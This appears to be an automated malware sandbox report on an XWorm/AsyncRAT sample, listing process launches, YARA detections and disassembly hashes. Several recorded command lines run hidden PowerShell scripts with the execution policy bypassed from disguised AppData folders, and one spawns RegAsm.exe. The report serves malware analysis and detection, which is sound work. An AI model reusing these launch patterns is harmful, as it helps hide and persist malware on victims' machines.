                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Yara matches:
                                                                                                                                        • Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 0000002C.00000002.2333261639.0000015586871000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                        • Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000002C.00000002.2333261639.0000015586871000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                        • Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 0000002C.00000002.2333261639.000001558655B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                        • Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000002C.00000002.2333261639.000001558655B000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:45
                                                                                                                                        Start time:05:06:52
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                        File size:862'208 bytes
                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:false

                                                                                                                                        General

                                                                                                                                        Target ID:46
                                                                                                                                        Start time:05:06:54
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:47
                                                                                                                                        Start time:05:06:54
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:false

                                                                                                                                        General

                                                                                                                                        Target ID:48
                                                                                                                                        Start time:05:06:55
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                        Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                                        Imagebase:0xf20000
                                                                                                                                        File size:65'440 bytes
                                                                                                                                        MD5 hash:0D5DF43AF2916F47D00C1573797C1A13
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:49
                                                                                                                                        Start time:05:06:56
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:false

                                                                                                                                        General

                                                                                                                                        Target ID:50
                                                                                                                                        Start time:05:07:02
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:51
                                                                                                                                        Start time:05:07:05
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:"C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                                                                                                                                        Imagebase:0x7ff6bcda0000
                                                                                                                                        File size:289'792 bytes
                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:52
                                                                                                                                        Start time:05:07:05
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                        File size:862'208 bytes
                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:53
                                                                                                                                        Start time:05:07:05
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Yara matches:
                                                                                                                                        • Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000035.00000002.2425933120.000001D3332B9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                        • Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000035.00000002.2425933120.000001D3332B9000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                        • Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000035.00000002.2425933120.000001D3335B0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                        • Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000035.00000002.2425933120.000001D3335B0000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:54
                                                                                                                                        Start time:05:07:05
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                        File size:862'208 bytes
                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:false

                                                                                                                                        General

                                                                                                                                        Target ID:55
                                                                                                                                        Start time:05:07:06
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:false

                                                                                                                                        General

                                                                                                                                        Target ID:56
                                                                                                                                        Start time:05:07:07
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                        Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                                        Imagebase:0xe10000
                                                                                                                                        File size:65'440 bytes
                                                                                                                                        MD5 hash:0D5DF43AF2916F47D00C1573797C1A13
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:57
                                                                                                                                        Start time:05:07:09
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:false

                                                                                                                                        General

                                                                                                                                        Target ID:58
                                                                                                                                        Start time:05:07:14
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                        Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                                                                                                                                        Imagebase:0xe20000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Has exited:true

                                                                                                                                        Disassembly

                                                                                                                                        Reset < >

                                                                                                                                          Executed Functions

                                                                                                                                          Function 00007FFD9B706660 Relevance: .4, Instructions: 396COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000005.00000002.2439661785.00007FFD9B700000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B700000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_5_2_7ffd9b700000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 3d66c912ac404b3d620cedd9d8719bfd7763d2eaf8c17b81e3c084c328f49ca0
                                                                                                                                          • Instruction ID: 759c007239f30664704c6d74ffe05138cfe3c6f3c978ef92485803f604796cc3
                                                                                                                                          • Opcode Fuzzy Hash: 3d66c912ac404b3d620cedd9d8719bfd7763d2eaf8c17b81e3c084c328f49ca0
                                                                                                                                          • Instruction Fuzzy Hash: 1FC12372B0EB8E4FEBA5AAA888745B57BD1EF15310B0502BFE49DC70F7D918E9018341
                                                                                                                                          Function 00007FFD9B63A210 Relevance: .2, Instructions: 226COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000005.00000002.2424855910.00007FFD9B630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B630000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_5_2_7ffd9b630000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: a9dca846fb4d604f7a6cb125d3495f093bc9cf39f344c42f0a541be931ff481b
                                                                                                                                          • Instruction ID: c0811c529f5af70a3037660eac76cb0c19c33ab4b426e207bde85bc12f5c3ce4
                                                                                                                                          • Opcode Fuzzy Hash: a9dca846fb4d604f7a6cb125d3495f093bc9cf39f344c42f0a541be931ff481b
                                                                                                                                          • Instruction Fuzzy Hash: EDF0A47240E7CC4FDB569F284C644A83FB0EF26200B0A01DBD498CB073D6266D08C782
                                                                                                                                          Function 00007FFD9B639838 Relevance: .1, Instructions: 146COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000005.00000002.2424855910.00007FFD9B630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B630000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_5_2_7ffd9b630000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 869965ec3e416cf9ffd913fd315050efd15abd7af4df8a6002ecaacf89a02fc0
                                                                                                                                          • Instruction ID: 923f7026e0cd5d6bc3e04ba69006a9201ac3d0156cae11416ef807a9f6b9f07e
                                                                                                                                          • Opcode Fuzzy Hash: 869965ec3e416cf9ffd913fd315050efd15abd7af4df8a6002ecaacf89a02fc0
                                                                                                                                          • Instruction Fuzzy Hash: 94414931A1DA484FDB1C9B5C9C1A6A97BE0FB95710F04412FE459D3292CB30F9068BC2
                                                                                                                                          Function 00007FFD9B51E7E0 Relevance: .1, Instructions: 124COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000005.00000002.2409342620.00007FFD9B51D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B51D000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_5_2_7ffd9b51d000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 51964eb2f504b16a7c4aa54d8beb1db80720efbe47f66618e95467256f5e0c5f
                                                                                                                                          • Instruction ID: 9a94a10b2052d32a7c86ddb6429c7e22874ff19db2c8a6fe067f602d7c796e52
                                                                                                                                          • Opcode Fuzzy Hash: 51964eb2f504b16a7c4aa54d8beb1db80720efbe47f66618e95467256f5e0c5f
                                                                                                                                          • Instruction Fuzzy Hash: 0B412B7040EBC45FE7978B3898559523FF0EF56320B1606DFD088CB1A3D625E846C792
                                                                                                                                          Function 00007FFD9B63A471 Relevance: .1, Instructions: 103COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000005.00000002.2424855910.00007FFD9B630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B630000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_5_2_7ffd9b630000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: a21f9c1343124d9e0e70aaabf5b52b62b89e62d686351a1134a2210e31e76c83
                                                                                                                                          • Instruction ID: e499337e4582974026eac9ca51988c3976757a0c3d9cad88298393bf941b1bb3
                                                                                                                                          • Opcode Fuzzy Hash: a21f9c1343124d9e0e70aaabf5b52b62b89e62d686351a1134a2210e31e76c83
                                                                                                                                          • Instruction Fuzzy Hash: B831C27190D78C4FDB59DFA8885A6E97FF0EF96321F0442AFD048CB163D625A806CB91
                                                                                                                                          Function 00007FFD9B6333B5 Relevance: .0, Instructions: 49COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000005.00000002.2424855910.00007FFD9B630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B630000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_5_2_7ffd9b630000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
                                                                                                                                          • Instruction ID: 0c3a3849684e3ca558968250649b64dba9b5ede42f69a070a1faa265438bb5bf
                                                                                                                                          • Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
                                                                                                                                          • Instruction Fuzzy Hash: 7901A73020CB0C4FDB48EF0CE051AA5B3E0FB85320F10056DE58AC36A1DA32E882CB41
                                                                                                                                          Function 00007FFD9B70414D Relevance: .0, Instructions: 37COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000005.00000002.2439661785.00007FFD9B700000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B700000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_5_2_7ffd9b700000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 89477929da483524e3c13f354d69179e2d51facf67d3517b084cf408c0317c9a
                                                                                                                                          • Instruction ID: 0a23e67639c5dfbad3e8c6173b5a83ae4cc5764243581363d9759f197435f334
                                                                                                                                          • Opcode Fuzzy Hash: 89477929da483524e3c13f354d69179e2d51facf67d3517b084cf408c0317c9a
                                                                                                                                          • Instruction Fuzzy Hash: AAF09A32B0E6098FD768EB4CE4518A873E0EF55320B1200BBE0ADC71B3CA25ED408781
                                                                                                                                          Function 00007FFD9B704400 Relevance: .0, Instructions: 35COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000005.00000002.2439661785.00007FFD9B700000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B700000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_5_2_7ffd9b700000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: e8d3b2cff9f5af22aeac827427f5f57fc58247790ec171f833dc57e73254067a
                                                                                                                                          • Instruction ID: c884f5b1724be4ae7f2684462b23592c48f7c91d4e8e911ebf39b389002c205f
                                                                                                                                          • Opcode Fuzzy Hash: e8d3b2cff9f5af22aeac827427f5f57fc58247790ec171f833dc57e73254067a
                                                                                                                                          • Instruction Fuzzy Hash: 01F05E32A0E6498FD764EA5CE4658A877F0EF4532175600BBF19DC74B3DA25AD40C750
                                                                                                                                          Function 00007FFD9B7041D1 Relevance: .0, Instructions: 29COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000005.00000002.2439661785.00007FFD9B700000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B700000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_5_2_7ffd9b700000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
                                                                                                                                          • Instruction ID: d365e0aa449a75d8037f17874b5f9a1151ee9986122d9d49a834a53546686626
                                                                                                                                          • Opcode Fuzzy Hash: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
                                                                                                                                          • Instruction Fuzzy Hash: F3E01A31B0C9089FDA78DB4CE0519B973E1EB98321B5202BBD18EC7571CA22ED518B80

                                                                                                                                          Non-executed Functions

                                                                                                                                          Function 00007FFD9B7030E9 Relevance: .7, Instructions: 669COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000005.00000002.2439661785.00007FFD9B700000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B700000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_5_2_7ffd9b700000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: a4b5dc1a0862fba59b9e0e77d86f16462215e762911acb04b7a56654f079701e
                                                                                                                                          • Instruction ID: 14fc1d54317b8607e4c56c6fe43667b5ff063302f5ebdf90e54c65eaec63d5f4
                                                                                                                                          • Opcode Fuzzy Hash: a4b5dc1a0862fba59b9e0e77d86f16462215e762911acb04b7a56654f079701e
                                                                                                                                          • Instruction Fuzzy Hash: F4124A22B0EBC90FE7A6967C58655717BD1EF5A210B0A02FBD48DC71F3DD08AD068351
                                                                                                                                          Function 00007FFD9B638BFA Relevance: 7.6, Strings: 6, Instructions: 93COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Strings
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000005.00000002.2424855910.00007FFD9B630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B630000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_5_2_7ffd9b630000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID: N_^=$N_^@$N_^T$N_^U$N_^W$N_^Y
                                                                                                                                          • API String ID: 0-17849902
                                                                                                                                          • Opcode ID: ca3745852a2e69d2b78a1b3f43b8aaac156c8b37c5fc53744375dbc9b9916023
                                                                                                                                          • Instruction ID: e9386c373202b4859f239096bc29c9c96f00c60c418ba598030cf4c586f1d7e8
                                                                                                                                          • Opcode Fuzzy Hash: ca3745852a2e69d2b78a1b3f43b8aaac156c8b37c5fc53744375dbc9b9916023
                                                                                                                                          • Instruction Fuzzy Hash: 272104A3B185255A930637ADFC616D83780EF9037238902F3D379CF543DC24B4878A82

                                                                                                                                          Executed Functions

                                                                                                                                          Function 00007FFD9B736660 Relevance: .4, Instructions: 396COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000006.00000002.2189910182.00007FFD9B730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B730000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_6_2_7ffd9b730000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 0e10c5c1c0146923da394bfae944cbf7f5a4f286fb4ebd5a3fdad19563e08bf9
                                                                                                                                          • Instruction ID: e3475a786949b99104baea3e24a6b99e320a9727fd768d9b54a96eaa46bc8b3f
                                                                                                                                          • Opcode Fuzzy Hash: 0e10c5c1c0146923da394bfae944cbf7f5a4f286fb4ebd5a3fdad19563e08bf9
                                                                                                                                          • Instruction Fuzzy Hash: FBC14672B0FB8D4FEBA9A7A898645B57BD1EF15354B2802BED44DC70F3D918E9018341
                                                                                                                                          Function 00007FFD9B669828 Relevance: .2, Instructions: 158COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000006.00000002.2180482832.00007FFD9B660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B660000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_6_2_7ffd9b660000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 1e58be4353c15f43e87d5f5add81ac345ee9aba807f93faef2bddccead0ddd6b
                                                                                                                                          • Instruction ID: 2aa4a541a1a6eefa91a0b8147fc13f778e295b2ebaf3b0b6a6a67de15f50aedc
                                                                                                                                          • Opcode Fuzzy Hash: 1e58be4353c15f43e87d5f5add81ac345ee9aba807f93faef2bddccead0ddd6b
                                                                                                                                          • Instruction Fuzzy Hash: C8412971A0DA884FDB199B9C9C1A6A87BE0FF5A310F04416FE45D972D7DA24B805C7C2
                                                                                                                                          Function 00007FFD9B54ED40 Relevance: .1, Instructions: 124COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000006.00000002.2171822343.00007FFD9B54D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B54D000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_6_2_7ffd9b54d000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 1c318f0f9d2b7a2e9d84e2307253e028f66d6918cf3373673baba70dd3e8399a
                                                                                                                                          • Instruction ID: 15dc0c218f24c91ae05c4164e1b0207e6610519b7768b55a23abf387292cff4a
                                                                                                                                          • Opcode Fuzzy Hash: 1c318f0f9d2b7a2e9d84e2307253e028f66d6918cf3373673baba70dd3e8399a
                                                                                                                                          • Instruction Fuzzy Hash: 2C41173050EBC44FE7ABDB2898559523FF1EF56220B1A45DFD088CB1A3D629A846C792
                                                                                                                                          Function 00007FFD9B66A2BC Relevance: .1, Instructions: 120COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000006.00000002.2180482832.00007FFD9B660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B660000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_6_2_7ffd9b660000_powershell.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 4513c7d76ef417872bdb26ee63a7556e62ffd36f72883ab6761171434c0a249c
                                                                                                                                          • Instruction ID: 2dc9d7f1b7c16086ae4157bb06f339f6dc086cced8588ce66b91522679a494fb
                                                                                                                                          • Opcode Fuzzy Hash: 4513c7d76ef417872bdb26ee63a7556e62ffd36f72883ab6761171434c0a249c
                                                                                                                                          • Instruction Fuzzy Hash: 48311831A0D7498FEB19DFAC98956E93BF0EF56310F0441BBD45DCB1A3EA24A405CB61
                                                                                                                                          Function 00007FFD9B6633B5 Relevance: .0, Instructions: 49COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000006.00000002.2180482832.00007FFD9B660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B660000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
